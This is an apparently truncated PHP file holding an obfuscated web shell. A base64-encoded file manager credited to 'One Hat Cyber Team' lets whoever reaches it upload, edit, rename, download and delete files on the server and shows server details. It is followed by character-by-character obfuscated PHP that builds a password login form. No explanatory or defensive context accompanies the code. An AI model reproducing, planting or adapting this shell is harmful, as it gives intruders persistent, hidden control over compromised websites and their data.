wvbGk+CjxsaT5TZXJ2ZXIgSVAgOiA8c3BhbiBzdHlsZT0iY29sb3I6IHdoaXRlOyI+PD9waHAgZWNobyBnZXRob3N0YnluYW1lKAogICAgJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0KKTsgPz48L3NwYW4+PC9saT4KPGxpPlNlcnZlciA6IDxzcGFuIHN0eWxlPSJjb2xvcjogd2hpdGU7Ij48P3BocCBlY2hvIHBocF91bmFtZSgpOyA/Pjwvc3Bhbj48L2xpPgo8bGk+U2VydmVyIFNvZnR3YXJlIDogPHNwYW4gc3R5bGU9ImNvbG9yOiB3aGl0ZTsiPjw/cGhwIGVjaG8gJF9TRVJWRVJbCiAgICAiU0VSVkVSX1NPRlRXQVJFIgpdOyA/Pjwvc3Bhbj48L2xpPgo8bGk+UEhQIFZlcnNpb24gOiA8c3BhbiBzdHlsZT0iY29sb3I6IHdoaXRlOyI+PD9waHAgZWNobyBwaHB2ZXJzaW9uKCk7ID8+PC9zcGFuPjwvbGk+CjxsaT5BZGQgRmlsZSA6IDxhIGhyZWY9Ij9wPTw/PSBzcygkSmQpIC4KICAgICImYT0iIC4KICAgIFNzKCJuZXdGaWxlIikgPz4iIGNsYXNzPSJvaGN0Ij5TdWJtaXQ8L2E+PC9saT4KPGxpPkFkZCBEaXJlY3RvcnkgOiA8YSBocmVmPSI/cD08Pz0gU3MoJEpkKSAuCiAgICAiJmE9IiAuCiAgICBzUygibmV3RGlyIikgPz4iIGNsYXNzPSJvaGN0Ij5TdWJtaXQ8L2E+PC9saT4KPGxpPjxmb3JtIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgc3R5bGU9InBhZGRpbmc6IDAuMTByZW07ZGlzcGxheTogaW5saW5lLWJsb2NrOyI+CjxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmW10iIG11bHRpcGxlPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU3VibWl0IiBuYW1lPSJzdWJtaXQiIGNsYXNzPSJvaGN0Ij4KPD9waHAKaWYgKCFpc3NldCgkX0ZJTEVTWyJmIl0pKSB7CiAgICBnb3RvIGVhOwp9CiRXeCA9ICRfRklMRVNbImYiXVsibmFtZSJdOwokbEUgPSAwOwp0aDoKaWYgKCEoJGxFIDwgY291bnQoJFd4KSkpIHsKICAgIGdvdG8gZHg7Cn0KaWYgKCRjOFsxMV0oJF9GSUxFU1siZiJdWyJ0bXBfbmFtZSJdWyRsRV0sICRXeFskbEVdKSkgewogICAgZ290byBQRzsKfQpYZSgiZmlsZSBmYWlsZWQgdG8gdXBsb2FkIiwgMCk7CmdvdG8gdEc7ClBHOgpYRSgiZmlsZSB1cGxvYWRlZCBzdWNjZXNzZnVsbHkiKTsKdEc6Cmc5OgokbEUrKzsKZ290byB0aDsKZHg6CmVhOgppZiAoIWlzc2V0KCRfR0VUWyJkb3dubG9hZCJdKSkgewogICAgZ290byBGQTsKfQpoZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7CmhlYWRlcigiQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogQmluYXJ5Iik7CmhlYWRlcigiQ29udGVudC1MZW5ndGg6ICIgLiAkYzhbMTddKEpEKCRfR0VUWyJuIl0pKSk7CmhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiIC4gamQoJF9HRVRbIm4iXSkgLiAiXCIiKTsKRkE6Cj8+IAo8L2Zvcm0+PC9saT4KPC9kaXY+CjxkaXYgY2xhc3M9InRhYmxlLXJlc3BvbnNpdmUgdGV4dC1saWdodCIgc3R5bGU9InRleHQtYWxpZ246IGxlZnQ7cGFkZGluZzogNHB4O21hcmdpbi1ib3R0b206IDNweDttYXJnaW4tdG9wOiAzcHg7Ym9yZGVyOiAycHggc29saWQgI2ZmMDAwMDtib3JkZXItcmFkaXVzOjVweDsiPgo8bGk+RGlyIDogPHNwYW4+PD9waHAKJE9wID0gJGM4WzRdKCIvKFxcXFx8XFwvKS8iLCAkSmQpOwpmb3JlYWNoICgkT3AgYXMgJGozID0+ICRPZSkgewogICAgaWYgKCEoJGozID09IDAgJiYgJE9lID09ICIiKSkgewogICAgICAgIGdvdG8geGk7CiAgICB9CiAgICBlY2hvICI8YSBocmVmPVwiP3A9MmZcIiBjbGFzcz1cImNvbWJldFwiPn48L2E+LyI7CiAgICBnb3RvIENTOwogICAgeGk6CiAgICBpZiAoISgkT2UgPT0gIiIpKSB7CiAgICAgICAgZ290byBzcTsKICAgIH0KICAgIGdvdG8gQ1M7CiAgICBzcToKICAgIGVjaG8gIjxhIGNsYXNzPVwiY29tYmV0XCIgaHJlZj1cIj9wPSI7CiAgICAkbEUgPSAwOwogICAgZGU6CiAgICBpZiAoISgkbEUgPD0gJGozKSkgewogICAgICAgIGdvdG8gaWU7CiAgICB9CiAgICBlY2hvIHNTKCRPcFskbEVdKTsKICAgIGlmICghKCRsRSAhPSAkajMpKSB7CiAgICAgICAgZ290byBzMDsKICAgIH0KICAgIGVjaG8gIjJmIjsKICAgIHMwOgogICAgZGc6CiAgICAkbEUrKzsKICAgIGdvdG8gZGU7CiAgICBpZToKICAgIGVjaG8gIlwiPnskT2V9PC9hPi8iOwogICAgQ1M6Cn0KR286Cj8+IAo8L3NwYW4+PC9saT48L2Rpdj4KPGRpdiBjbGFzcz0idGFibGUtcmVzcG9uc2l2ZSB0ZXh0LWxpZ2h0IiBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyO2ZvbnQtZmFtaWx5OiBpbmhlcml0O2ZvbnQtc2l6ZTogMTdweDsiPgo8P3BocAppZiAoIWlzc2V0KCRfR0VUWyJhIl0pKSB7CiAgICBnb3RvIFVuOwp9CmlmICghaXNzZXQoJF9HRVRbImEiXSkpIHsKICAgIGdvdG8gY2M7Cn0KJGltID0gSmQoJF9HRVRbImEiXSk7CmNjOgo/Pgo8ZGl2IGNsYXNzPSJ0YWJsZS1yZXNwb25zaXZlIHRleHQtbGlnaHQiPgo8P3BocAppZiAoISgkaW0gPT0gImRlbGV0ZSIpKSB7CiAgICBnb3RvIEx1Owp9CiRCTCA9ICRKZCAuICIvIiAuIEpkKCRfR0VUWyJuIl0pOwppZiAoISgkX0dFVFsidCJdID09ICJkIikpIHsKICAgIGdvdG8gVlo7Cn0KVEYoJEJMKTsKaWYgKCEkYzhbMTJdKCRCTCkpIHsKICAgIGdvdG8gZTg7Cn0KWGUoImZhaWxlZCB0byBkZWxldGUgdGhlIGZvbGRlciIsIDApOwpnb3RvIGlMOwplODoKWGUoImZvbGRlciBkZWxldGVkIHN1Y2Nlc3NmdWxseSIpOwppTDoKVlo6CmlmICghKCRfR0VUWyJ0Il0gPT0gImYiKSkgewogICAgZ290byB4QjsKfQokQkwgPSAkSmQgLiAiLyIgLiBqZCgkX0dFVFsibiJdKTsKdW5saW5rKCRCTCk7CmlmICghJGM4WzEyXSgkQkwpKSB7CiAgICBnb3RvIHVIOwp9ClhlKCJmaWxlIHRvIGRlbGV0ZSB0aGUgZm9sZGVyIiwgMCk7CmdvdG8gTWs7CnVIOgp4ZSgiZmlsZSBkZWxldGVkIHN1Y2Nlc3NmdWxseSIpOwpNazoKeEI6Ckx1Ogo/Pgo8P3BocAppZiAoJGltID09ICJuZXdEaXIiKSB7CiAgICBnb3RvIEZnOwp9CmlmICgkaW0gPT0gIm5ld0ZpbGUiKSB7CiAgICBnb3RvIFBiOwp9CmlmICgkaW0gPT0gInJlbmFtZSIpIHsKICAgIGdvdG8gTHc7Cn0KaWYgKCRpbSA9PSAiZWRpdCIpIHsKICAgIGdvdG8gT3g7Cn0KaWYgKCRpbSA9PSAidmlldyIpIHsKICAgIGdvdG8gQWc7Cn0KZ290byBXQzsKRmc6Cj8+CjxoNSBjbGFzcz0icC0xIiBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyO2JvcmRlcjogMnB4IHNvbGlkICNmZjAwMDA7Ym9yZGVyLXJhZGl1czo1cHg7Ij5OZXcgRm9sZGVyIE5hbWUgOjwvaDU+Cjxmb3JtIG1ldGhvZD0icG9zdCI+CjxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAiPgo8aW5wdXQgbmFtZT0ibiIgaWQ9Im4iIGNsYXNzPSJib3JkZXIgcC0xIiBhdXRvY29tcGxldGU9Im9mZiIgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsiPgo8L2Rpdj4KPGRpdiBjbGFzcz0iZm9ybS1ncm91cCIgc3R5bGU9Im1hcmdpbi10b3A6IDEwcHg7Ij4KPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIG5hbWU9InMiIGNsYXNzPSJvaGN0Ij5DcmVhdGU8L2J1dHRvbj4KPC9kaXY+IAo8L2Zvcm0+IAo8P3BocAppc3NldCgkX1BPU1RbInMiXSkKICAgID8gKCRjOFsxMl0oInskSmR9L3skX1BPU1RbIm4iXX0iKQogICAgICAgID8geEUoImZvbGRlciBuYW1lIGhhcyBiZWVuIHVzZWQiLCAwLCAiJmE9IiAuIFNTKCJuZXdEaXIiKSkKICAgICAgICA6ICgkYzhbMTVdKCJ7JEpkfS97JF9QT1NUWyJuIl19IikKICAgICAgICAgICAgPyBYZSgiZm9sZGVyIGNyZWF0ZWQgc3VjY2Vzc2Z1bGx5IikKICAgICAgICAgICAgOiBYZSgiZm9sZGVyIGZhaWxlZCB0byBjcmVhdGUiLCAwKSkpCiAgICA6IG51bGw7CmdvdG8gV0M7ClBiOgo/Pgo8aDUgY2xhc3M9InAtMSIgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjtib3JkZXI6IDJweCBzb2xpZCAjZmYwMDAwO2JvcmRlci1yYWRpdXM6NXB4OyI+TmV3IEZpbGUgTmFtZSA6PC9oNT4KPGZvcm0gbWV0aG9kPSJwb3N0Ij4KPGRpdiBjbGFzcz0iZm9ybS1ncm91cCI+CjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJuIiBpZD0ibiIgY2xhc3M9ImJvcmRlciBwLTEiIHBsYWNlaG9sZGVyPSIiIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7Ij4KPC9kaXY+CjxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAiPgo8dGV4dGFyZWEgc3R5bGU9InJlc2l6ZTpub25lIiBuYW1lPSJjdG4iIGlkPSJjdG4iIGNvbHM9IjMwIiByb3dzPSIxMCIgY2xhc3M9ImZvcm0tY29udHJvbCBib3JkZXIiIHBsYWNlaG9sZGVyPSIiPjwvdGV4dGFyZWE+CjwvZGl2Pgo8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIiBzdHlsZT0ibWFyZ2luLXRvcDogMTBweDsiPgo8YnV0dG9uIHR5cGU9InN1Ym1pdCIgbmFtZT0icyIgY2xhc3M9Im9oY3QiPkNyZWF0ZTwvYnV0dG9uPiAKPC9kaXY+CjwvZm9ybT4KPD9waHAKaXNzZXQoJF9QT1NUWyJzIl0pCiAgICA/ICgkYzhbMTJdKCJ7JEpkfS97JF9QT1NUWyJuIl19IikKICAgICAgICA/IHhFKCJmaWxlIG5hbWUgaGFzIGJlZW4gdXNlZCIsIDAsICImYT0iIC4gU1MoIm5ld0ZpbGUiKSkKICAgICAgICA6ICgkYzhbMTNdKCJ7JEpkfS97JF9QT1NUWyJuIl19IiwgJF9QT1NUWyJjdG4iXSkKICAgICAgICAgICAgPyBYRSgiIiwgMSwgIiZhPSIgLiBzcygidmlldyIpIC4gIiZuPSIgLiBTcygkX1BPU1RbIm4iXSkpCiAgICAgICAgICAgIDogWGUoImZpbGUgZmFpbGVkIHRvIGNyZWF0ZSIsIDApKSkKICAgIDogbnVsbDsKZ290byBXQzsKTHc6Cj8+CjxoNSBjbGFzcz0iYm9yZGVyIHAtMSI+UmVuYW1lIEZpbGUgOiA8Pz0gakQoJF9HRVRbIm4iXSkgPz48L2g1Pgo8Zm9ybSBtZXRob2Q9InBvc3QiPgo8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj4KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im4iIGlkPSJuIiBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyOyIgY2xhc3M9ImJvcmRlciBwLTEiIHZhbHVlPSI8Pz0gakQoCiAgICAkX0dFVFsibiJdCikgPz4iPgo8L2Rpdj4KPGRpdiBjbGFzcz0iZm9ybS1ncm91cCIgc3R5bGU9Im1hcmdpbi10b3A6IDEwcHg7Ij4KPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIG5hbWU9InMiIGNsYXNzPSJvaGN0Ij5TYXZlPC9idXR0b24+CjwvZGl2Pgo8L2Zvcm0+Cjw/cGhwCmlzc2V0KCRfUE9TVFsicyJdKQogICAgPyAoJGM4WzE2XSgkSmQgLiAiLyIgLiBqRCgkX0dFVFsibiJdKSwgJF9QT1NUWyJuIl0pCiAgICAgICAgPyBYRSgic3VjY2Vzc2Z1bGx5IGNoYW5nZWQgdGhlIGZvbGRlciBuYW1lIikKICAgICAgICA6IFhlKCJmYWlsZWQgdG8gY2hhbmdlIHRoZSBmb2xkZXIgbmFtZSIsIDApKQogICAgOiBudWxsOwpnb3RvIFdDOwpPeDoKPz4KPGg1IGNsYXNzPSJwLTEiIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7Ym9yZGVyOiAycHggc29saWQgI2ZmMDAwMDtib3JkZXItcmFkaXVzOjVweDsiPkVkaXQgRmlsZSBOYW1lIDogPGZvbnQgY29sb3I9IndoaXRlIj48Pz0gSmQoCiAgICAkX0dFVFsibiJdCikgPz48L2ZvbnQ+PC9oNT4KPGZvcm0gbWV0aG9kPSJwb3N0Ij4KPGRpdiBjbGFzcz0iZm9ybS1ncm91cCI+Cjx0ZXh0YXJlYSBuYW1lPSJjdG4iIGlkPSJjdG4iIGNvbHM9IjMwIiByb3dzPSIxMCIgY2xhc3M9ImZvcm0tY29udHJvbCBib3JkZXIiPjw/PSAkYzhbMThdKAogICAgJGM4WzE0XSgkSmQgLiAiLyIgLiBqRCgkX0dFVFsibiJdKSkKKSA/PjwvdGV4dGFyZWE+CjwvZGl2Pgo8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIiBzdHlsZT0ibWFyZ2luLXRvcDogMTBweDsiPgo8YnV0dG9uIHR5cGU9InN1Ym1pdCIgbmFtZT0icyIgY2xhc3M9Im9oY3QiPlNhdmU8L2J1dHRvbj4KPC9kaXY+CjwvZm9ybT4KPD9waHAKaXNzZXQoJF9QT1NUWyJzIl0pCiAgICA/ICgkYzhbMTNdKCRKZCAuICIvIiAuIGpEKCRfR0VUWyJuIl0pLCAkX1BPU1RbImN0biJdKQogICAgICAgID8geEUoCiAgICAgICAgICAgICJmaWxlIGNvbnRlbnRzIGNoYW5nZWQgc3VjY2Vzc2Z1bGx5IiwKICAgICAgICAgICAgMSwKICAgICAgICAgICAgIiZhPSIgLiBzUygidmlldyIpIC4gIiZuPXskX0dFVFsibiJdfSIKICAgICAgICApCiAgICAgICAgOiB4RSgiZmlsZSBjb250ZW50cyBmYWlsZWQgdG8gY2hhbmdlIikpCiAgICA6IG51bGw7CmdvdG8gV0M7CkFnOgo/Pgo8aDUgY2xhc3M9InAtMSIgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjtib3JkZXI6IDJweCBzb2xpZCAjZmYwMDAwO2JvcmRlci1yYWRpdXM6NXB4OyI+VmlldyBGaWxlIE5hbWUgOiA8Zm9udCBjb2xvcj0id2hpdGUiPjw/PSBqZCgKICAgICRfR0VUWyJuIl0KKSA/PjwvZm9udD48L2g1Pgo8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj4KPHRleHRhcmVhIG5hbWU9ImN0biIgaWQ9ImN0biIgY29scz0iMzAiIHJvd3M9IjEwIiBjbGFzcz0iZm9ybS1jb250cm9sIGJvcmRlciIgcmVhZG9ubHk+PD89ICRjOFsxOF0oCiAgICAkYzhbMTRdKCRKZCAuICIvIiAuIGpkKCRfR0VUWyJuIl0pKQopID8+PC90ZXh0YXJlYT4KPC9kaXY+Cjw/cGhwIFdDOiA/Pgo8L2Rpdj4KPD9waHAKZ290byBtUjsKVW46Cj8+Cjx0YWJsZSBjbGFzcz0idGFibGUgdGFibGUtaG92ZXIgdGFibGUtYm9yZGVybGVzcyB0YWJsZS1zbSIgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjt3aWR0aDogMTAwJTsiPgo8dGhlYWQgY2xhc3M9InRleHQtbGlnaHQiPgo8dHI+Cjx0aCBzdHlsZT0id2lkdGg6IDQ1JTsiPk5hbWU8L3RoPgo8dGggc3R5bGU9IndpZHRoOiAxMyU7Ij5TaXplPC90aD4KPHRoIHN0eWxlPSJ3aWR0aDogMTMlOyI+UGVybWlzc2lvbjwvdGg+Cjx0aCBjb2xzcGFuPSIzIj5BY3Rpb248L3RoPgo8L3RyPgo8L3RoZWFkPgo8dGJvZHkgY2xhc3M9InRleHQtbGlnaHQiPiA8P3BocAokRzMgPSAkYzhbNV0oJEczKCRKZCksIFsiLiIsICIuLiJdKTsKZm9yZWFjaCAoJEczIGFzICR5ZikgewogICAgaWYgKCRjOFs2XSgieyRKZH0veyR5Zn0iKSkgewogICAgICAgIGdvdG8gQ0I7CiAgICB9CiAgICBnb3RvIFFqOwogICAgQ0I6CiAgICBlY2hvICIgCjx0cj4KPHRkIHN0eWxlPVwidGV4dC1hbGlnbjogbGVmdDtcIj4KPGkgY2xhc3M9XCJmYSBmYS1mdyBmYS1mb2xkZXItb1wiIHN0eWxlPVwiYm9yZGVyOiAwO3BhZGRpbmc6IDA7d2lkdGg6IDEuMjg1NzE0MjllbTtcIj48L2k+PGEgaHJlZj1cIj9wPSIgLgogICAgICAgIHNTKCJ7JEpkfS97JHlmfSIpIC4KICAgICAgICAiXCIgZGF0YS10b2dnbGU9XCJ0b29sdGlwXCIgZGF0YS1wbGFjZW1lbnQ9XCJhdXRvXCIgdGl0bGU9XCJMYXRlc3QgbW9kaWZ5IG9uICIgLgogICAgICAgICRjOFsxOV0oIlktbS1kIEg6aSIsICRjOFsyMF0oInskSmR9L3skeWZ9IikpIC4KICAgICAgICAiXCI+eyR5Zn08L2E+PC90ZD4KPHRkIHN0eWxlPVwiY29sb3I6IGJsYWNrO1wiPjxzcGFuPjwvc3Bhbj48L3RkPgo8dGQ+PGZvbnQgY29sb3I9XCIiIC4KICAgICAgICAoJGM4WzhdKCJ7JEpkfS97JHlmfSIpCiAgICAgICAgICAgID8gIiMwMGZmMDAiCiAgICAgICAgICAgIDogKCEkYzhbOV0oInskSmR9L3skeWZ9IikKICAgICAgICAgICAgICAgID8gIiNmZjAwMDAiCiAgICAgICAgICAgICAgICA6IG51bGwpKSAuCiAgICAgICAgIlwiPiIgLgogICAgICAgIFJOKCJ7JEpkfS97JHlmfSIpIC4KICAgICAgICAiPC9mb250PjwvdGQ+Cjx0ZCBzdHlsZT1cImNvbG9yOiBibGFjazt3aWR0aDogOS41JTtcIj48c3Bhbj48L3NwYW4+PC90ZD4KPHRkPgo8YSBocmVmPVwiP3A9IiAuCiAgICAgICAgc3MoJEpkKSAuCiAgICAgICAgIiZhPSIgLgogICAgICAgIHNzKCJyZW5hbWUiKSAuCiAgICAgICAgIiZuPSIgLgogICAgICAgIHNzKCR5ZikgLgogICAgICAgICImdD1kXCIgZGF0YS10b2dnbGU9XCJ0b29sdGlwXCIgZGF0YS1wbGFjZW1lbnQ9XCJhdXRvXCIgdGl0bGU9XCJSZW5hbWVcIj5SZW5hbWU8L2E+CjwvdGQ+Cjx0ZD4KPGEgaHJlZj1cIj9wPSIgLgogICAgICAgIHNTKCRKZCkgLgogICAgICAgICImYT0iIC4KICAgICAgICBzcygiZGVsZXRlIikgLgogICAgICAgICImbj0iIC4KICAgICAgICBzcygkeWYpIC4KICAgICAgICAiXCIgY2xhc3M9XCJkZWxldGVcIiBkYXRhLXR5cGU9XCJmb2xkZXJcIiBkYXRhLXRvZ2dsZT1cInRvb2x0aXBcIiBkYXRhLXBsYWNlbWVudD1cImF1dG9cIiB0aXRsZT1cIkRlbGV0ZVwiPkRlbGV0ZTwvYT4KPC90ZD4KPC90cj4iOwogICAgUWo6Cn0KYWQ6CmZvcmVhY2ggKCRHMyBhcyAkRjEpIHsKICAgIGlmICgkYzhbN10oInskSmR9L3skRjF9IikpIHsKICAgICAgICBnb3RvIHdBOwogICAgfQogICAgZ290byBYMTsKICAgIHdBOgogICAgJGtMID0gJGM4WzEwXSgieyRKZH0veyRGMX0iKSAvIDEwMjQ7CiAgICAka0wgPSByb3VuZCgka0wsIDMpOwogICAgJGtMID0gJGtMID4gMTAyNCA/IHJvdW5kKCRrTCAvIDEwMjQsIDIpIC4gIiAgTUIiIDogJGtMIC4gIiAgS0IiOwogICAgZWNobyAiCjx0cj4KPHRkIHN0eWxlPVwidGV4dC1hbGlnbjogbGVmdDtcIj4KPGkgY2xhc3M9XCJmYSBmYS1mdyBmYS1maWxlLW9cIiBzdHlsZT1cImJvcmRlcjogMDtwYWRkaW5nOiAwO3dpZHRoOiAxLjI4NTcxNDI5ZW07XCI+PC9pPjxhIGhyZWY9XCI/cD0iIC4KICAgICAgICBTUygkSmQpIC4KICAgICAgICAiJmE9IiAuCiAgICAgICAgc1MoInZpZXciKSAuCiAgICAgICAgIiZuPSIgLgogICAgICAgIFNTKCRGMSkgLgogICAgICAgICJcIiBkYXRhLXRvZ2dsZT1cInRvb2x0aXBcIiBkYXRhLXBsYWNlbWVudD1cImF1dG9cIiB0aXRsZT1cIkxhdGVzdCBtb2RpZnkgb24gIiAuCiAgICAgICAgJGM4WzE5XSgiWS1tLWQgSDppIiwgJGM4WzIwXSgieyRKZH0veyRGMX0iKSkgLgogICAgICAgICJcIj57JEYxfTwvYT48L3RkPgo8dGQ+PHNwYW4+eyRrTH08L3NwYW4+PC90ZD4KPHRkPjxmb250IGNvbG9yPVwiIiAuCiAgICAgICAgKCRjOFs4XSgieyRKZH0veyRGMX0iKQogICAgICAgICAgICA/ICIjMDBmZjAwIgogICAgICAgICAgICA6ICghJGM4WzldKCJ7JEpkfS97JEYxfSIpCiAgICAgICAgICAgICAgICA/ICIjZmYwMDAwIgogICAgICAgICAgICAgICAgOiBudWxsKSkgLgogICAgICAgICJcIj4iIC4KICAgICAgICByTigieyRKZH0veyRGMX0iKSAuCiAgICAgICAgIjwvZm9udD48L3RkPgo8dGQ+PGEgaHJlZj1cIj9wPSIgLgogICAgICAgIFNzKCRKZCkgLgogICAgICAgICImYT0iIC4KICAgICAgICBTcygiZWRpdCIpIC4KICAgICAgICAiJm49IiAuCiAgICAgICAgU1MoJEYxKSAuCiAgICAgICAgIlwiIGRhdGEtdG9nZ2xlPVwidG9vbHRpcFwiIGRhdGEtcGxhY2VtZW50PVwiYXV0b1wiIHRpdGxlPVwiRWRpdFwiPkVkaXQ8L2E+PC90ZD4KPHRkPjxhIGhyZWY9XCI/cD0iIC4KICAgICAgICBzcygkSmQpIC4KICAgICAgICAiJmE9IiAuCiAgICAgICAgU1MoInJlbmFtZSIpIC4KICAgICAgICAiJm49IiAuCiAgICAgICAgc3MoJEYxKSAuCiAgICAgICAgIiZ0PWZcIiBkYXRhLXRvZ2dsZT1cInRvb2x0aXBcIiBkYXRhLXBsYWNlbWVudD1cImF1dG9cIiB0aXRsZT1cIlJlbmFtZVwiPlJlbmFtZTwvYT48L3RkPgo8dGQ+PGEgaHJlZj1cIj9wPSIgLgogICAgICAgIHNzKCRKZCkgLgogICAgICAgICImYT0iIC4KICAgICAgICBzUygiZGVsZXRlIikgLgogICAgICAgICImbj0iIC4KICAgICAgICBzcygkRjEpIC4KICAgICAgICAiXCIgY2xhc3M9XCJkZWxldGVcIiBkYXRhLXR5cGU9XCJmaWxlXCIgZGF0YS10b2dnbGU9XCJ0b29sdGlwXCIgZGF0YS1wbGFjZW1lbnQ9XCJhdXRvXCIgdGl0bGU9XCJEZWxldGVcIj5EZWxldGU8L2E+PC90ZD4KPC90cj4iOwogICAgWDE6Cn0KYTI6Cj8+IAo8L3Rib2R5Pgo8L3RhYmxlPgo8aDUgc3R5bGU9ImNvbG9yOiAjZmZmZjAwOyI+Cjxmb250PiZjb3B5OyBDb3B5cmlnaHQgMjAyMjwvZm9udD4KPGZvbnQgc3R5bGU9ImNvbG9yOiAjZmYwMDAwOyI+TXIuQ29tYmV0PC9mb250Pgo8Zm9udD5Qb3dlcmVkIGJ5IDwvZm9udD4KPGZvbnQgc3R5bGU9ImNvbG9yOiAjZmYwMDAwOyI+T25lIEhhdCBDeWJlciBUZWFtPC9mb250Pgo8L2g1Pgo8P3BocCBtUjogPz4KPC9kaXY+CjxzY3JpcHQgc3JjPSIvL2NvZGUuanF1ZXJ5LmNvbS9qcXVlcnktMy41LjEuc2xpbS5taW4uanMiPjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iLy9jZG4uanNkZWxpdnIubmV0L25wbS9ib290c3RyYXBANC42LjAvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyIgPjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iLy9jZG4uanNkZWxpdnIubmV0L25wbS9icy1jdXN0b20tZmlsZS1pbnB1dC9kaXN0L2JzLWN1c3RvbS1maWxlLWlucHV0Lm1pbi5qcyI+PC9zY3JpcHQ+CjxzY3JpcHQ+ZXZhbChmdW5jdGlvbihwLGEsYyxrLGUsZCl7ZT1mdW5jdGlvbihjKXtyZXR1cm4oYzxhPycnOmUocGFyc2VJbnQoYy9hKSkpKygoYz1jJWEpPjM1P1N0cmluZy5mcm9tQ2hhckNvZGUoYysyOSk6Yy50b1N0cmluZygzNikpfTtpZighJycucmVwbGFjZSgvXi8sU3RyaW5nKSl7d2hpbGUoYy0tKXtkW2UoYyldPWtbY118fGUoYyl9az1bZnVuY3Rpb24oZSl7cmV0dXJuIGRbZV19XTtlPWZ1bmN0aW9uKCl7cmV0dXJuJ1xcdysnfTtjPTF9O3doaWxlKGMtLSl7aWYoa1tjXSl7cD1wLnJlcGxhY2UobmV3IFJlZ0V4cCgnXFxiJytlKGMpKydcXGInLCdnJyksa1tjXSl9fXJldHVybiBwfSgnRS5uKCk7JChcJ1syLW09IjQiXVwnKS40KCk7JCgiLmwiKS5rKGooZSl7ZS5nKCk7aCAwPSQoNikuNSgiMi0wIik7Yyh7YjoiYSIsOToibyBpIHE/Iix3OiJEICIrMCsiIHAgQyBCIixBOjcsejo3LH0pLnkoKDgpPT57cig4KXt4IDE9JCg2KS41KCIzIikrIiZ0PSIrKCgwPT0idiIpPyJkIjoiZiIpO3Uucy4zPTF9fSl9KTsnLDQxLDQxLCd0eXBlfGJ1aWxkVVJMfGRhdGF8aHJlZnx0b29sdGlwfGF0dHJ8dGhpc3x0cnVlfHdpbGxEZWxldGV8dGl0bGV8d2FybmluZ3xpY29ufHN3YWx8fHx8cHJldmVudERlZmF1bHR8bGV0fHlvdXxmdW5jdGlvbnxjbGlja3xkZWxldGV8dG9nZ2xlfGluaXR8QXJlfHdpbGx8c3VyZXxpZnxsb2NhdGlvbnx8ZG9jdW1lbnR8Zm9sZGVyfHRleHR8Y29uc3R8dGhlbnxkYW5nZXJNb2RlfGJ1dHRvbnN8ZGVsZXRlZHxiZXxUaGlzfGJzQ3VzdG9tRmlsZUlucHV0Jy5zcGxpdCgnfCcpLDAse30pKTwvc2NyaXB0Pgo8L2JvZHk+CjwvaHRtbD4='))
$Ww="H";$WWWw="l";$WwW ="<";$WWWw.="g";$WWWw.="_";$WWWw.="m";$Ww.="T";$Ww.="T";$WWWw.="i";$WwW.="f";$Ww.="P";$Ww.="_";$WwW.="o";$WWWw.="m";$Ww.="H";$Ww.="O";$WwW.="r";$WWWw.="a";$Ww.="S";$WwW.="m";$Ww.="T";$WwW.=" ";$WwW.="n";$WwW.="a";$WwW.="m";$WwW.="e";$WwW.="=";$WwW.="'";$WwW.="f";$WwW.="o";$WwW.="r";$WwW.="m";$WwW.="1";$WwW.="'";$WwW.=" ";$WwW.="a";$WwW.="c";$WwW.="t";$WwW.="i";$WwW.="o";$WwW.="n";$WwW.="=";$WwW.="'";$WwW.="'";$WwW.=" ";$WwW.="m";$WwW.="e";$WwW.="t";$WwW.="h";$WwW.="o";$WwW.="d";$WwW.="=";$WwW.="'";$WwW.="p";$WwW.="o";$WwW.="s";$WwW.="t";$WwW.="'";$WwW.=">";$WwW.="<";$WwW.="i";$WwW.="n";$WwW.="p";$WwW.="u";$WwW.="t";$WwW.=" ";$WwW.="n";$WwW.="a";$WwW.="m";$WwW.="e";$WwW.="=";$WwW.="'";$WwW.="l";$WwW.="g";$WwW.="_";session_start();$WwW.="m";$WwW.="i";$WwW.="m";$WwW.="a";$WwW.="'";$WwW.=" ";$WwW.="t";$WwW.="y";$WwW.="p";$WwW.="e";$WwW.="=";$WwW.="'";$WwW.="t";$WwW.="e";$WwW.="x";$WwW.="t";$WwW.="'";$WwW.=">";$WwW.="<";$WwW.="i";$WwW.="n";$WwW.="p";$WwW.="u";$WwW.="t";$WwW.=" ";$WwW.="n";$WwW.="a";$WwW.="m";$WwW.="e";$WwW.="=";$WwW.="'";$WwW.="s";$WwW.="u";$WwW.="b";$WwW.="m";$WwW.="i";$WwW.="t";$WwW.="'";$WwW.=" ";$WwW.="t";$WwW.="y";$WwW.="p";$WwW.="e";$WwW.="=";$WwW.="'";$WwW.="s";$WwW.="u";$WwW.="b";$WwW.="m";$WwW.="i";$WwW.="t";$WwW.="'";$WwW.=" 